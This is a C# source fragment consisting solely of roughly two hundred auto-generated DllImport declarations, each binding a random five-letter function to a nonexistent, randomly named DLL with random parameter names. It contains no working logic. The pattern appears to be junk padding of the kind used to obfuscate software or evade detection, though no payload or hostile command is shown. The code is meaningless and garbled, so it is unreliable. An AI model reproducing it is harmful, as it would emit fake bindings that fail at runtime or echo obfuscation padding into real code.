  public static extern byte[] qUQRP([MarshalAs(UnmanagedType.VBByRefStr)] ref string MLcQS, string[] LlNrq, char VMgVO);

  [DllImport("HirEg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dnTTH([MarshalAs(UnmanagedType.VBByRefStr)] ref string BfDTh, string[] USNfd, char AisAu);

  [DllImport("FdIoD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GZZtu([MarshalAs(UnmanagedType.VBByRefStr)] ref string lqIQG, string[] nhigm, char UPVBd);

  [DllImport("BeHso.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Nehlc([MarshalAs(UnmanagedType.VBByRefStr)] ref string dvofr, string[] DmmZL, char mHTiQ);

  [DllImport("ieusP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hSVzm([MarshalAs(UnmanagedType.VBByRefStr)] ref string mIPMV, string[] cpLMU, char gbESn);

  [DllImport("zAvCn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GbSIp([MarshalAs(UnmanagedType.VBByRefStr)] ref string goQfe, string[] tzBrQ, char gZIqs);

  [DllImport("oCpcC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NquHS([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZVAhz, string[] loOpA, char tMIgC);

  [DllImport("FcOZv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bRObr([MarshalAs(UnmanagedType.VBByRefStr)] ref string qTUDV, string[] dlbFO, char PNRpv);

  [DllImport("OQHhv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EhutL([MarshalAs(UnmanagedType.VBByRefStr)] ref string pbGIe, string[] GLZUE, char RrrRc);

  [DllImport("EfFPL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oPlOn([MarshalAs(UnmanagedType.VBByRefStr)] ref string dMiRd, string[] ifqHU, char efpNG);

  [DllImport("BqUQR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mnSbs([MarshalAs(UnmanagedType.VBByRefStr)] ref string PTFNS, string[] mMLcQ, char SLlNr);

  [DllImport("OdnTT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qVMgV([MarshalAs(UnmanagedType.VBByRefStr)] ref string HHirE, string[] gBfDT, char hUSNf);

  [DllImport("uGZZt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dAisA([MarshalAs(UnmanagedType.VBByRefStr)] ref string uFdIo, string[] DlqIQ, char Gnhig);

  [DllImport("dNehl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mUPVB([MarshalAs(UnmanagedType.VBByRefStr)] ref string cBeHs, string[] odvof, char rDmmZ);

  [DllImport("nGbSI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UgbES([MarshalAs(UnmanagedType.VBByRefStr)] ref string pzAvC, string[] ngoQf, char etzBr);

  [DllImport("sNquH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QgZIq([MarshalAs(UnmanagedType.VBByRefStr)] ref string SoCpc, string[] CZVAh, char zloOp);

  [DllImport("CbROb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AtMIg([MarshalAs(UnmanagedType.VBByRefStr)] ref string rFcOZ, string[] vqTUD, char VdlbF);

  [DllImport("vEhut.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OPNRp([MarshalAs(UnmanagedType.VBByRefStr)] ref string LOQHh, string[] vpbGI, char eGLZU);

  [DllImport("coPlO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ERrrR([MarshalAs(UnmanagedType.VBByRefStr)] ref string nEfFP, string[] LdMiR, char difqH);

  [DllImport("GmnSb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UefpN([MarshalAs(UnmanagedType.VBByRefStr)] ref string sBqUQ, string[] RPTFN, char SmMLc);

  [DllImport("rqVMg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QSLlN([MarshalAs(UnmanagedType.VBByRefStr)] ref string VOdnT, string[] THHir, char EgBfD);

  [DllImport("fdAis.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ThUSN([MarshalAs(UnmanagedType.VBByRefStr)] ref string AuGZZ, string[] tuFdI, char oDlqI);

  [DllImport("gmUPV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QGnhi([MarshalAs(UnmanagedType.VBByRefStr)] ref string BdNeh, string[] lcBeH, char sodvo);

  [DllImport("ZLmHT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] frDmm([MarshalAs(UnmanagedType.VBByRefStr)] ref string iQhSV, string[] zmieu, char sPmIP);

  [DllImport("MUgbE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MVcpL([MarshalAs(UnmanagedType.VBByRefStr)] ref string SnGbS, string[] IpzAv, char CngoQ);

  [DllImport("rQgZI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fetzB([MarshalAs(UnmanagedType.VBByRefStr)] ref string qsNqu, string[] HSoCp, char cCZVA);

  [DllImport("pAtMI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hzloO([MarshalAs(UnmanagedType.VBByRefStr)] ref string gCbRO, string[] brFcO, char ZvqTU);

  [DllImport("FOPNR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DVdlb([MarshalAs(UnmanagedType.VBByRefStr)] ref string pvEhu, string[] tLOQH, char hvpbG);

  [DllImport("UERrr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IeGLZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string RcoPl, string[] OnEfF, char PLdMi);

  [DllImport("HUefp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Rdifq([MarshalAs(UnmanagedType.VBByRefStr)] ref string NGmnS, string[] bsBqU, char QRPTF);

  [DllImport("cQSLl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NSmML([MarshalAs(UnmanagedType.VBByRefStr)] ref string NrqVM, string[] gVOdn, char TTHHi);

  [DllImport("DThUS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rEgBf([MarshalAs(UnmanagedType.VBByRefStr)] ref string NfdAi, string[] sAuGZ, char ZtuFd);

  [DllImport("IQGnh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IoDlq([MarshalAs(UnmanagedType.VBByRefStr)] ref string igmUP, string[] VBdNe, char hlcBe);

  [DllImport("ofrDm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Hsodv([MarshalAs(UnmanagedType.VBByRefStr)] ref string QErRp, string[] CPvOB, char EfRPI);

  [DllImport("vsEGU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dZuRq([MarshalAs(UnmanagedType.VBByRefStr)] ref string rsCMG, string[] lBRnG, char BqUff);

  [DllImport("zLLbe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eiSNS([MarshalAs(UnmanagedType.VBByRefStr)] ref string hZzNF, string[] pVbtV, char cpATh);

  [DllImport("gNfQT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] THiFE([MarshalAs(UnmanagedType.VBByRefStr)] ref string uTgbs, string[] pMiGA, char uGVnH);

  [DllImport("DiDIQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uFdVB([MarshalAs(UnmanagedType.VBByRefStr)] ref string Gnuut, string[] AUdlO, char ccqtz);

  [DllImport("oqLor.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pOeUF([MarshalAs(UnmanagedType.VBByRefStr)] ref string FCmzV, string[] ZAHTv, char PuSmL);

  [DllImport("nsBQr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DzzvC([MarshalAs(UnmanagedType.VBByRefStr)] ref string rGvBr, string[] QtZUE, char sNEtH);

  [DllImport("PZmNg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RCBop([MarshalAs(UnmanagedType.VBByRefStr)] ref string MlCOC, string[] AsMHf, char Pbgdo);

  [DllImport("IqSlP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EFcdm([MarshalAs(UnmanagedType.VBByRefStr)] ref string UqzoS, string[] OONRD, char vDhHt);

  [DllImport("LpZTI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] INQHh([MarshalAs(UnmanagedType.VBByRefStr)] ref string eSLZi, string[] RQErR, char pCPvO);

  [DllImport("IdZuR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BEfRP([MarshalAs(UnmanagedType.VBByRefStr)] ref string qvsEG, string[] UrsCM, char GlBRn);

  [DllImport("feiSN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GBqUf([MarshalAs(UnmanagedType.VBByRefStr)] ref string SzLLb, string[] ehZzN, char FpVbt);

  [DllImport("hTHiF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VcpAT([MarshalAs(UnmanagedType.VBByRefStr)] ref string EgNfQ, string[] TuTgb, char spMiG);

  [DllImport("HuFdV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AuGVn([MarshalAs(UnmanagedType.VBByRefStr)] ref string BDiDI, string[] QGnuu, char tAUdl);

  [DllImport("zpOeU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Occqt([MarshalAs(UnmanagedType.VBByRefStr)] ref string FoqLo, string[] rFCmz, char VZAHT);

  [DllImport("LmvqI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vPuSm([MarshalAs(UnmanagedType.VBByRefStr)] ref string rOAIP, string[] MVoDL, char MUsoQ);

  [DllImport("VDzzv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SAFbh([MarshalAs(UnmanagedType.VBByRefStr)] ref string CnsBQ, string[] rrGvB, char rQtZU);

  [DllImport("HRCBo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EsNEt([MarshalAs(UnmanagedType.VBByRefStr)] ref string pPZmN, string[] gMlCO, char CAsMH);

  [DllImport("oEFcd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fPbgd([MarshalAs(UnmanagedType.VBByRefStr)] ref string mIqSl, string[] PUqzo, char SOONR);

  [DllImport("tINQH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DvDhH([MarshalAs(UnmanagedType.VBByRefStr)] ref string hLpZT, string[] IeSLZ, char iRQEr);

  [DllImport("OBEfR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RpCPv([MarshalAs(UnmanagedType.VBByRefStr)] ref string PIdZu, string[] RqvsE, char GUrsC);

  [DllImport("nGBqU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MGlBR([MarshalAs(UnmanagedType.VBByRefStr)] ref string ffeiS, string[] NSzLL, char behZz);

  [DllImport("tVcpA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NFpVb([MarshalAs(UnmanagedType.VBByRefStr)] ref string ThTHi, string[] FEgNf, char QTuTg);

  [DllImport("GAuGV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bspMi([MarshalAs(UnmanagedType.VBByRefStr)] ref string nHuFd, string[] VBDiD, char IQGnu);

  [DllImport("lOccq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] utAUd([MarshalAs(UnmanagedType.VBByRefStr)] ref string tzpOe, string[] UFoqL, char orFCm);

  [DllImport("TvPuS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zVZAH([MarshalAs(UnmanagedType.VBByRefStr)] ref string mLmvq, string[] IrOAI, char PMVoD);

  [DllImport("QSAFb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LMUso([MarshalAs(UnmanagedType.VBByRefStr)] ref string hVDzz, string[] vCnsB, char QrrGv);

  [DllImport("UEsNE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BrQtZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string tHRCB, string[] opPZm, char NgMlC);

  [DllImport("HfPbg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OCAsM([MarshalAs(UnmanagedType.VBByRefStr)] ref string doEFc, string[] dmIqS, char lPUqz);

  [DllImport("RDvDh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oSOON([MarshalAs(UnmanagedType.VBByRefStr)] ref string HtINQ, string[] HhLpZ, char TIeSL);

  [DllImport("rRpCP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZiRQE([MarshalAs(UnmanagedType.VBByRefStr)] ref string vOBEf, string[] RPIdZ, char uRqvs);

  [DllImport("CMGlB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EGUrs([MarshalAs(UnmanagedType.VBByRefStr)] ref string RnGBq, string[] Uffei, char SNSzL);

  [DllImport("zNFpV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LbehZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string btVcp, string[] AThTH, char iFEgN);

  [DllImport("gbspM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fQTuT([MarshalAs(UnmanagedType.VBByRefStr)] ref string iGAuG, string[] VnHuF, char dVBDi);

  [DllImport("uutAU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DIQGn([MarshalAs(UnmanagedType.VBByRefStr)] ref string dlOcc, string[] qtzpO, char eUFoq);

  [DllImport("mzVZA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LorFC([MarshalAs(UnmanagedType.VBByRefStr)] ref string HTvPu, string[] SmLmv, char qIrOA);

  [DllImport("DLMUs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IPMVo([MarshalAs(UnmanagedType.VBByRefStr)] ref string oQSAF, string[] bhVDz, char zvCns);

  [DllImport("vBrQt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BQrrG([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZUEsN, string[] EtHRC, char BopPZ);

  [DllImport("COCAs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mNgMl([MarshalAs(UnmanagedType.VBByRefStr)] ref string MHfPb, string[] gdoEF, char cdmIq);

  [DllImport("zoSOO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SlPUq([MarshalAs(UnmanagedType.VBByRefStr)] ref string NRDvD, string[] hHtIN, char QHhLp);

  [DllImport("LZiRQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZTIeS([MarshalAs(UnmanagedType.VBByRefStr)] ref string ErRpC, string[] PvOBE, char fRPId);

  [DllImport("sEGUr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZuRqv([MarshalAs(UnmanagedType.VBByRefStr)] ref string sCMGl, string[] BRnGB, char qUffe);

  [DllImport("LLbeh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iSNSz([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZzNFp, string[] VbtVc, char pAThT);

  [DllImport("NfQTu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HiFEg([MarshalAs(UnmanagedType.VBByRefStr)] ref string Tgbsp, string[] MiGAu, char GVnHu);

  [DllImport("iDIQG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FdVBD([MarshalAs(UnmanagedType.VBByRefStr)] ref string nuutA, string[] UdlOc, char cqtzp);

  [DllImport("qLorF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OeUFo([MarshalAs(UnmanagedType.VBByRefStr)] ref string CmzVZ, string[] AHTvP, char uSmLm);

  [DllImport("AIPMV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vqIrO([MarshalAs(UnmanagedType.VBByRefStr)] ref string oDLMU, string[] soQSA, char FbhVD);

  [DllImport("sBQrr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zzvCn([MarshalAs(UnmanagedType.VBByRefStr)] ref string GvBrQ, string[] tZUEs, char NEtHR);

  [DllImport("ZmNgM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CBopP([MarshalAs(UnmanagedType.VBByRefStr)] ref string lCOCA, string[] sMHfP, char bgdoE);

  [DllImport("qSlPU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FcdmI([MarshalAs(UnmanagedType.VBByRefStr)] ref string qzoSO, string[] ONRDv, char DhHtI);

  [DllImport("pZTIe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NQHhL([MarshalAs(UnmanagedType.VBByRefStr)] ref string SLZiR, string[] QErRp, char CPvOB);

  [DllImport("dZuRq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EfRPI([MarshalAs(UnmanagedType.VBByRefStr)] ref string vsEGU, string[] rsCMG, char lBRnG);

  [DllImport("eiSNS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BqUff([MarshalAs(UnmanagedType.VBByRefStr)] ref string zLLbe, string[] hZzNF, char pVbtV);

  [DllImport("THiFE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cpATh([MarshalAs(UnmanagedType.VBByRefStr)] ref string gNfQT, string[] uTgbs, char pMiGA);

  [DllImport("uFdVB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uGVnH([MarshalAs(UnmanagedType.VBByRefStr)] ref string DiDIQ, string[] Gnuut, char AUdlO);

  [DllImport("pOeUF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ccqtz([MarshalAs(UnmanagedType.VBByRefStr)] ref string oqLor, string[] FCmzV, char ZAHTv);

  [DllImport("mvqIr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PuSmL([MarshalAs(UnmanagedType.VBByRefStr)] ref string OAIPM, string[] VoDLM, char UsoQS);

  [DllImport("DzzvC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AFbhV([MarshalAs(UnmanagedType.VBByRefStr)] ref string nsBQr, string[] rGvBr, char QtZUE);

  [DllImport("RCBop.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sNEtH([MarshalAs(UnmanagedType.VBByRefStr)] ref string PZmNg, string[] MlCOC, char AsMHf);

  [DllImport("EFcdm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Pbgdo([MarshalAs(UnmanagedType.VBByRefStr)] ref string IqSlP, string[] UqzoS, char OONRD);

  [DllImport("INQHh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vDhHt([MarshalAs(UnmanagedType.VBByRefStr)] ref string LpZTI, string[] eSLZi, char RQErR);

  [DllImport("BEfRP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pCPvO([MarshalAs(UnmanagedType.VBByRefStr)] ref string IdZuR, string[] qvsEG, char UrsCM);

  [DllImport("GBqUf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GlBRn([MarshalAs(UnmanagedType.VBByRefStr)] ref string feiSN, string[] SzLLb, char ehZzN);

  [DllImport("VcpAT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FpVbt([MarshalAs(UnmanagedType.VBByRefStr)] ref string hTHiF, string[] EgNfQ, char TuTgb);

  [DllImport("AuGVn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] spMiG([MarshalAs(UnmanagedType.VBByRefStr)] ref string HuFdV, string[] BDiDI, char QGnuu);

  [DllImport("Occqt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tAUdl([MarshalAs(UnmanagedType.VBByRefStr)] ref string zpOeU, string[] FoqLo, char rFCmz);

  [DllImport("vPuSm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VZAHT([MarshalAs(UnmanagedType.VBByRefStr)] ref string LmvqI, string[] rOAIP, char MVoDL);

  [DllImport("SAFbh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MUsoQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string VDzzv, string[] CnsBQ, char rrGvB);

  [DllImport("EsNEt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rQtZU([MarshalAs(UnmanagedType.VBByRefStr)] ref string HRCBo, string[] pPZmN, char gMlCO);

  [DllImport("fPbgd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CAsMH([MarshalAs(UnmanagedType.VBByRefStr)] ref string oEFcd, string[] mIqSl, char PUqzo);

  [DllImport("DvDhH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SOONR([MarshalAs(UnmanagedType.VBByRefStr)] ref string tINQH, string[] hLpZT, char IeSLZ);

  [DllImport("RpCPv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iRQEr([MarshalAs(UnmanagedType.VBByRefStr)] ref string OBEfR, string[] PIdZu, char RqvsE);

  [DllImport("MGlBR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GUrsC([MarshalAs(UnmanagedType.VBByRefStr)] ref string nGBqU, string[] ffeiS, char NSzLL);

  [DllImport("NFpVb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] behZz([MarshalAs(UnmanagedType.VBByRefStr)] ref string tVcpA, string[] ThTHi, char FEgNf);

  [DllImport("bspMi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QTuTg([MarshalAs(UnmanagedType.VBByRefStr)] ref string GAuGV, string[] nHuFd, char VBDiD);

  [DllImport("utAUd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IQGnu([MarshalAs(UnmanagedType.VBByRefStr)] ref string lOccq, string[] tzpOe, char UFoqL);

  [DllImport("zVZAH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] orFCm([MarshalAs(UnmanagedType.VBByRefStr)] ref string TvPuS, string[] mLmvq, char IrOAI);

  [DllImport("LMUso.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PMVoD([MarshalAs(UnmanagedType.VBByRefStr)] ref string QSAFb, string[] hVDzz, char vCnsB);

  [DllImport("BrQtZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QrrGv([MarshalAs(UnmanagedType.VBByRefStr)] ref string UEsNE, string[] tHRCB, char opPZm);

  [DllImport("OCAsM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NgMlC([MarshalAs(UnmanagedType.VBByRefStr)] ref string HfPbg, string[] doEFc, char dmIqS);

  [DllImport("oSOON.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lPUqz([MarshalAs(UnmanagedType.VBByRefStr)] ref string RDvDh, string[] HtINQ, char HhLpZ);

  [DllImport("ZiRQE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TIeSL([MarshalAs(UnmanagedType.VBByRefStr)] ref string rRpCP, string[] vOBEf, char RPIdZ);

  [DllImport("EGUrs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uRqvs([MarshalAs(UnmanagedType.VBByRefStr)] ref string CMGlB, string[] RnGBq, char Uffei);

  [DllImport("LbehZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SNSzL([MarshalAs(UnmanagedType.VBByRefStr)] ref string zNFpV, string[] btVcp, char AThTH);

  [DllImport("fQTuT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iFEgN([MarshalAs(UnmanagedType.VBByRefStr)] ref string gbspM, string[] iGAuG, char VnHuF);

  [DllImport("DIQGn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dVBDi([MarshalAs(UnmanagedType.VBByRefStr)] ref string uutAU, string[] dlOcc, char qtzpO);

  [DllImport("LorFC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eUFoq([MarshalAs(UnmanagedType.VBByRefStr)] ref string mzVZA, string[] HTvPu, char SmLmv);

  [DllImport("IPMVo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qIrOA([MarshalAs(UnmanagedType.VBByRefStr)] ref string DLMUs, string[] oQSAF, char bhVDz);

  [DllImport("BQrrG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zvCns([MarshalAs(UnmanagedType.VBByRefStr)] ref string vBrQt, string[] ZUEsN, char EtHRC);

  [DllImport("mNgMl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BopPZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string COCAs, string[] MHfPb, char gdoEF);

  [DllImport("SlPUq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cdmIq([MarshalAs(UnmanagedType.VBByRefStr)] ref string zoSOO, string[] NRDvD, char hHtIN);

  [DllImport("ZTIeS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QHhLp([MarshalAs(UnmanagedType.VBByRefStr)] ref string LZiRQ, string[] ErRpC, char PvOBE);

  [DllImport("ZuRqv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fRPId([MarshalAs(UnmanagedType.VBByRefStr)] ref string sEGUr, string[] sCMGl, char BRnGB);

  [DllImport("iSNSz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qUffe([MarshalAs(UnmanagedType.VBByRefStr)] ref string LLbeh, string[] ZzNFp, char VbtVc);

  [DllImport("HiFEg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pAThT([MarshalAs(UnmanagedType.VBByRefStr)] ref string NfQTu, string[] Tgbsp, char MiGAu);

  [DllImport("FdVBD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GVnHu([MarshalAs(UnmanagedType.VBByRefStr)] ref string iDIQG, string[] nuutA, char UdlOc);

  [DllImport("OeUFo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cqtzp([MarshalAs(UnmanagedType.VBByRefStr)] ref string qLorF, string[] CmzVZ, char AHTvP);

  [DllImport("vqIrO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uSmLm([MarshalAs(UnmanagedType.VBByRefStr)] ref string AIPMV, string[] oDLMU, char soQSA);

  [DllImport("zzvCn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FbhVD([MarshalAs(UnmanagedType.VBByRefStr)] ref string sBQrr, string[] GvBrQ, char tZUEs);

  [DllImport("CBopP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NEtHR([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZmNgM, string[] lCOCA, char sMHfP);

  [DllImport("FcdmI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bgdoE([MarshalAs(UnmanagedType.VBByRefStr)] ref string qSlPU, string[] qzoSO, char ONRDv);

  [DllImport("NQHhL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DhHtI([MarshalAs(UnmanagedType.VBByRefStr)] ref string pZTIe, string[] SLZiR, char QErRp);

  [DllImport("EfRPI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CPvOB([MarshalAs(UnmanagedType.VBByRefStr)] ref string dZuRq, string[] vsEGU, char rsCMG);

  [DllImport("BqUff.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lBRnG([MarshalAs(UnmanagedType.VBByRefStr)] ref string eiSNS, string[] zLLbe, char hZzNF);

  [DllImport("cpATh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pVbtV([MarshalAs(UnmanagedType.VBByRefStr)] ref string THiFE, string[] gNfQT, char uTgbs);

  [DllImport("uGVnH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pMiGA([MarshalAs(UnmanagedType.VBByRefStr)] ref string uFdVB, string[] DiDIQ, char Gnuut);

  [DllImport("ccqtz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AUdlO([MarshalAs(UnmanagedType.VBByRefStr)] ref string pOeUF, string[] oqLor, char FCmzV);

  [DllImport("PuSmL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZAHTv([MarshalAs(UnmanagedType.VBByRefStr)] ref string mvqIr, string[] OAIPM, char VoDLM);

  [DllImport("AFbhV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UsoQS([MarshalAs(UnmanagedType.VBByRefStr)] ref string DzzvC, string[] nsBQr, char rGvBr);

  [DllImport("sNEtH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
